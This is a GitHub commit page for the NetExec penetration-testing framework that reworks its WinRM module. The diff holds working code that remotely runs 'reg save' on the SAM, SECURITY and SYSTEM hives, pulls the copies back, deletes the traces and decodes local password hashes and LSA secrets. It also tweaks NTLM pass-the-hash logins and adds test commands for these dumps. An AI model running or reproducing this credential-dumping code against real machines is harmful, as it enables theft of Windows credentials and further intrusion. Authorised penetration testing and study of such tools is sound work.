Skip to content

Commit

Permalink
Merge remote-tracking branch 'origin/winrm-improv' into winrm-kerberos
Browse files Browse the repository at this point in the history
  • Loading branch information
XiaoliChan committed Nov 7, 2023
2 parents 39913b6 + 17a032f commit 38a7903
Show file tree
Hide file tree
Showing 3 changed files with 88 additions and 52 deletions.
133 changes: 81 additions & 52 deletions nxc/protocols/winrm.py
Original file line number Diff line number Diff line change
Expand Up @@ -25,6 +25,7 @@
from nxc.config import process_secret
from nxc.connection import connection
from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.misc import gen_random_string
from nxc.protocols.ldap.laps import LDAPConnect, LAPSv2Extract
from nxc.logger import NXCAdapter

Expand Down Expand Up @@ -76,6 +77,9 @@ def enum_host_info(self):
try:
smb_conn = SMBConnection(self.host, self.host, None, timeout=5)
no_ntlm = False
except Exception as e:
self.logger.fail(f"Error retrieving host domain: {e} specify one manually with the '-d' flag")
else:
try:
smb_conn.login("", "")
except BrokenPipeError:
Expand All @@ -98,21 +102,17 @@ def enum_host_info(self):
with contextlib.suppress(Exception):
smb_conn.logoff()

if self.args.domain:
self.domain = self.args.domain

if self.args.local_auth:
self.domain = self.hostname

if self.server_os is None:
self.server_os = ""
if self.domain is None:
self.domain = ""

self.db.add_host(self.host, self.port, self.hostname, self.domain, self.server_os)
except Exception as e:
self.logger.fail(f"Error retrieving host domain: {e} specify one manually with the '-d' flag")

if self.args.domain:
self.domain = self.args.domain

if self.args.local_auth:
self.domain = self.hostname

if self.domain is None:
self.domain = ""

self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-"))

def laps_search(self, username, password, ntlm_hash, domain):
Expand Down Expand Up @@ -243,7 +243,7 @@ def create_conn_obj(self):
return False

def check_if_admin(self):
wsman = self.conn.__getstate__()["wsman"]
wsman = self.conn.wsman
wsen = NAMESPACES["wsen"]
wsmn = NAMESPACES["wsman"]

Expand Down Expand Up @@ -357,12 +357,11 @@ def plaintext_login(self, domain, username, password):
self.password = password
self.username = username
self.domain = domain

try:
self.conn = Client(
self.host,
auth="ntlm",
username=f"{self.username}@{self.domain.upper()}",
username=f"{self.domain}\\{self.username}",
password=self.password,
ssl=self.ssl,
cert_validation=False,
Expand All @@ -387,7 +386,7 @@ def plaintext_login(self, domain, username, password):
if "with ntlm" in str(e):
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)}")
else:
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {e}")
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {e!s}")
return False

def hash_login(self, domain, username, ntlm_hash):
Expand All @@ -405,13 +404,13 @@ def hash_login(self, domain, username, ntlm_hash):
nthash = self.hash
self.lmhash = lmhash
self.nthash = nthash
self.domain = domain

try:
self.domain = domain
self.conn = Client(
self.host,
auth="ntlm",
username=f"{self.username}@{self.domain.upper()}",
username=f"{self.domain}\\{self.username}",
password=f"{self.lmhash}:{self.nthash}",
ssl=self.ssl,
cert_validation=False,
Expand All @@ -432,7 +431,7 @@ def hash_login(self, domain, username, ntlm_hash):
if "with ntlm" in str(e):
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.nthash)}")
else:
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.nthash)} {e}")
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.nthash)} {e!s}")
return False

def execute(self, payload=None, get_output=True, shell_type="cmd"):
Expand All @@ -455,7 +454,7 @@ def execute(self, payload=None, get_output=True, shell_type="cmd"):
elif ("decode" in str(e)) and not get_output:
self.logger.success(f"Executed command (shell type: {shell_type})")
else:
self.logger.fail(f"Execute command failed, error: {e}")
self.logger.fail(f"Execute command failed, error: {e!s}")
else:
self.logger.success(f"Executed command (shell type: {shell_type})")
buf = StringIO(result[0]).readlines() if get_output else ""
Expand All @@ -465,37 +464,67 @@ def execute(self, payload=None, get_output=True, shell_type="cmd"):
def ps_execute(self):
self.execute(payload=self.args.ps_execute, get_output=True, shell_type="powershell")

# Dos attack prevent:
# if someboby executed "reg save HKLM\sam C:\windows\temp\sam" before, but didn't remove "C:\windows\temp\sam" file,
# when user execute the same command next time, in tty shell, the prompt will ask "File C:\windows\temp\sam already exists. Overwrite (Yes/No)?"
# but in here, it isn't not a tty shell, pypsrp will do a crazy loop command execution when it didn't get any response (stuck in "Yes/No" prompt)
# and it will make target host OOM error just like dos attack.
# To prevent that, just make the store file name randomly.
def sam(self):
self.conn.execute_cmd("reg save HKLM\SAM C:\\windows\\temp\\SAM && reg save HKLM\SYSTEM C:\\windows\\temp\\SYSTEM")
self.conn.fetch("C:\\windows\\temp\\SAM", self.output_filename + ".sam")
self.conn.fetch("C:\\windows\\temp\\SYSTEM", self.output_filename + ".system")
self.conn.execute_cmd("del C:\\windows\\temp\\SAM && del C:\\windows\\temp\\SYSTEM")

local_operations = LocalOperations(f"{self.output_filename}.system")
boot_key = local_operations.getBootKey()
SAM = SAMHashes(
f"{self.output_filename}.sam",
boot_key,
isRemote=None,
perSecretCallback=lambda secret: self.logger.highlight(secret),
)
SAM.dump()
SAM.export(f"{self.output_filename}.sam")
sam_storename = gen_random_string(6)
system_storename = gen_random_string(6)
dump_command = f"reg save HKLM\SAM C:\\windows\\temp\\{sam_storename} && reg save HKLM\SYSTEM C:\\windows\\temp\\{system_storename}"
clean_command = f"del C:\\windows\\temp\\{sam_storename} && del C:\\windows\\temp\\{system_storename}"
try:
self.conn.execute_cmd(dump_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{dump_command}'")
self.conn.fetch(f"C:\\windows\\temp\\{sam_storename}", self.output_filename + ".sam")
self.conn.fetch(f"C:\\windows\\temp\\{system_storename}", self.output_filename + ".system")
self.conn.execute_cmd(clean_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{clean_command}'")
except Exception as e:
if ("does not exist" in str(e)) or ("TransformFinalBlock" in str(e)):
self.logger.fail("Failed to dump SAM hashes, it may have been detected by AV or current user is not privileged user")
elif hasattr(e, "code") and e.code == 5:
self.logger.fail(f"Dump SAM hashes with {self.args.dump_method} failed, please try '--dump-method'")
else:
self.logger.fail(f"Failed to dump SAM hashes, error: {e!s}")
else:
local_operations = LocalOperations(f"{self.output_filename}.system")
boot_key = local_operations.getBootKey()
SAM = SAMHashes(
f"{self.output_filename}.sam",
boot_key,
isRemote=None,
perSecretCallback=lambda secret: self.logger.highlight(secret),
)
SAM.dump()
SAM.export(f"{self.output_filename}.sam")

def lsa(self):
self.conn.execute_cmd("reg save HKLM\SECURITY C:\\windows\\temp\\SECURITY && reg save HKLM\SYSTEM C:\\windows\\temp\\SYSTEM")
self.conn.fetch("C:\\windows\\temp\\SECURITY", f"{self.output_filename}.security")
self.conn.fetch("C:\\windows\\temp\\SYSTEM", f"{self.output_filename}.system")
self.conn.execute_cmd("del C:\\windows\\temp\\SYSTEM && del C:\\windows\\temp\\SECURITY")

local_operations = LocalOperations(f"{self.output_filename}.system")
boot_key = local_operations.getBootKey()
LSA = LSASecrets(
f"{self.output_filename}.security",
boot_key,
None,
isRemote=None,
perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret),
)
LSA.dumpCachedHashes()
LSA.dumpSecrets()
security_storename = gen_random_string(6)
system_storename = gen_random_string(6)
dump_command = f"reg save HKLM\SECURITY C:\\windows\\temp\\{security_storename} && reg save HKLM\SYSTEM C:\\windows\\temp\\{system_storename}"
clean_command = f"del C:\\windows\\temp\\{security_storename} && del C:\\windows\\temp\\{system_storename}"
try:
self.conn.execute_cmd(dump_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{dump_command}'")
self.conn.fetch(f"C:\\windows\\temp\\{security_storename}", f"{self.output_filename}.security")
self.conn.fetch(f"C:\\windows\\temp\\{system_storename}", f"{self.output_filename}.system")
self.conn.execute_cmd(clean_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{clean_command}'")
except Exception as e:
if ("does not exist" in str(e)) or ("TransformFinalBlock" in str(e)):
self.logger.fail("Failed to dump LSA secrets, it may have been detected by AV or current user is not privileged user")
elif hasattr(e, "code") and e.code == 5:
self.logger.fail(f"Dump LSA secrets with {self.args.dump_method} failed, please try '--dump-method'")
else:
self.logger.fail(f"Failed to dump LSA secrets, error: {e!s}")
else:
local_operations = LocalOperations(f"{self.output_filename}.system")
boot_key = local_operations.getBootKey()
LSA = LSASecrets(
f"{self.output_filename}.security",
boot_key,
None,
isRemote=None,
perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret),
)
LSA.dumpCachedHashes()
LSA.dumpSecrets()
1 change: 1 addition & 0 deletions nxc/protocols/winrm/proto_args.py
Original file line number Diff line number Diff line change
Expand Up @@ -26,6 +26,7 @@ def make_required(args):
no_smb_arg.make_required = make_required

cgroup = winrm_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
cgroup.add_argument("--dump-method", action="store", default="cmd", choices={"cmd", "powershell"}, help="Select shell type in hashes dump")
cegroup = cgroup.add_mutually_exclusive_group()
cegroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems")
cegroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
Expand Down
6 changes: 6 additions & 0 deletions tests/e2e_commands.txt
Original file line number Diff line number Diff line change
Expand Up @@ -186,6 +186,12 @@ netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M whoami
##### WINRM
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X whoami
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam --dump-method cmd
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam --dump-method powershell
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --lsa
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --lsa --dump-method cmd
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --lsa --dump-method powershell
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --laps
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --check-proto http
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --check-proto https
Expand Down

0 comments on commit 38a7903

Please sign in to comment.